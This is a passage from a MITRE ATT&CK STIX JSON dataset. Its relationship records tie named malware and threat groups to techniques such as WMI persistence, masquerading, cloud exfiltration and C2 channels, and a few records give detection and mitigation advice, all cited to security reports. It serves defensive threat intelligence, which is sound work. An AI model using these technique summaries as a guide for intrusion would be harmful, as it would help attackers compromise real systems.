1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for established network communications with anomalous IPs that have never been seen before in the environment that may indicate the download of malicious code.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-28T21:40:03.704Z","description":"[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new schedule task on the remote system(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abb544df-2ece-4007-b3c9-0708362875ed","type":"relationship","created":"2021-03-18T13:47:11.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-18T14:34:48.587Z","description":"(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abb5f6e2-1813-4d0e-8269-cceec54b4843","created":"2023-08-01T18:50:04.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.565Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use WMI event subscriptions for persistence.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abb6d14e-e76f-4437-8006-1a084ecd5e1b","created":"2022-10-13T20:21:52.743Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:21:52.743Z","description":"(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--abb80a28-3fc0-4e1f-8d39-83567be53835","created":"2022-03-21T21:21:59.009Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use shell scripts for execution, such as /bin/sh -c.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T17:06:13.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abb92b2c-4211-48fd-b446-d94c18e58d62","created":"2024-02-08T01:13:16.613Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T01:13:16.613Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) uses an HTTP GET request to initialize a follow-on TLS tunnel for command and control.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abbd6d5f-03a0-4e3c-b362-178879cfa016","type":"relationship","created":"2021-09-24T16:51:12.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T16:51:12.262Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612)'s custom crypter, CryptOne, leveraged the VirtualAlloc() API function to help execute the payload.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abbf5417-5112-424d-85f4-e4622675b319","created":"2024-09-23T23:09:23.691Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:09:23.691Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used cloud storage to exfiltrate data, in particular the megatools utilities were used to exfiltrate data to Mega, a file storage service.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--abc4fb0a-cd49-438e-84bb-7000fbe48b1c","created":"2022-04-15T01:14:22.852Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has used the name `postgressql.exe` to mask a malicious payload.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T12:28:41.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abc5f1e1-82b7-4d5d-b623-ce0f3e91b9d3","type":"relationship","created":"2019-09-24T14:19:05.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.878Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has used rundll32.exe to execute other DLLs and named pipes.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abca8fe1-0303-43a8-b469-a7921358a3f1","type":"relationship","created":"2020-08-11T21:15:35.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.616Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can download files via DNS.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abd0cc1c-8901-4645-8853-c394ae8c573c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-02-18T03:51:27.154Z","description":"[Proton](https://attack.mitre.org/software/S0279) removes logs from /var/logs and /Library/logs.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abd46534-2632-4c12-a9c2-06a2a4116f2c","type":"relationship","created":"2020-05-27T15:31:09.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.933Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Remote Desktop to log on to servers interactively and manually copy files to remote hosts.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abdaccd2-6a3e-4bd2-8fa2-b192f67f22ca","type":"relationship","created":"2021-06-24T20:07:08.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-06-24T20:07:08.348Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) has primarily used port 443 for C2 but can use port 80 as a fallback.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abdf9690-d578-4f86-a2cc-295c2789bb4e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.855Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abe1a402-9ad5-43d0-9e5d-cabe4269fc06","created":"2022-01-05T16:16:01.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.683Z","description":"(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abe43d10-714a-4f29-b164-d7cadd83cb61","type":"relationship","created":"2020-02-04T13:42:40.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.564Z","description":"Preemptively search for files containing passwords or other credentials and take actions to reduce the exposure risk when found.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abe93e80-2fc7-4c71-846e-b476529b4ae6","type":"relationship","created":"2019-04-17T13:46:38.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2020-03-19T22:23:33.765Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abeb8fca-e470-4119-a07f-a6ec2f4b4667","type":"relationship","created":"2021-08-04T19:47:11.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T19:47:11.066Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) can decrypt and decode embedded [Cobalt Strike](https://attack.mitre.org/software/S0154) beacon stage shellcode.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abece522-51dc-4904-b0f9-585db7fb0223","type":"relationship","created":"2020-07-27T15:20:50.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.487Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has been decompressed by included shellcode prior to being launched.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.658Z","description":"[S-Type](https://attack.mitre.org/software/S0085) runs the command net start on a victim.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abef99ab-d0a5-4c9f-9011-c79bfabccd5e","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"file_sig_table","description":"Kessler, G. (2022, December 9). GCK'S FILE SIGNATURES TABLE. Retrieved August 23, 2022.","url":"https://www.garykessler.net/library/file_sigs.html"},{"source_name":"Polyglot Files: a Hacker’s best friend","description":"Li, V. (2019, October 2). Polyglot Files: a Hacker’s best friend. Retrieved September 27, 2022.","url":"https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:45:18.232Z","description":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE”.\n\nCheck and ensure that file headers/signature and extensions match using magic bytes detection and/or file signature validation.(Citation: Polyglot Files: a Hacker’s best friend) In Linux, the file command may be used to check the file signature.(Citation: file_sig_table)","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abf00a6a-7922-432c-95e0-6c44db2c20e3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.130Z","description":"[yty](https://attack.mitre.org/software/S0248) gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--abf1b22c-a9a4-4155-832c-66878158db77","created":"2024-02-09T19:28:09.313Z","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:28:09.313Z","description":"[Kevin](https://attack.mitre.org/software/S1020) can compile randomly-generated MOF files into the WMI repository to persistently run malware.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abf2a4b0-d0d7-4f13-9b7c-647abc3694e2","type":"relationship","created":"2020-05-06T21:31:07.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.309Z","description":"[Okrum](https://attack.mitre.org/software/S0439) uses AES to encrypt network traffic. The key can be hardcoded or negotiated with the C2 server in the registration phase. (Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abf2b5db-184b-42af-bb52-e018977ca870","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-17T01:39:44.976Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uses HTTP and HTTPS to communicate with the C2 server. [Kazuar](https://attack.mitre.org/software/S0265) can also act as a webserver and listen for inbound HTTP requests through an exposed API.(Citation: Unit 42 Kazuar May 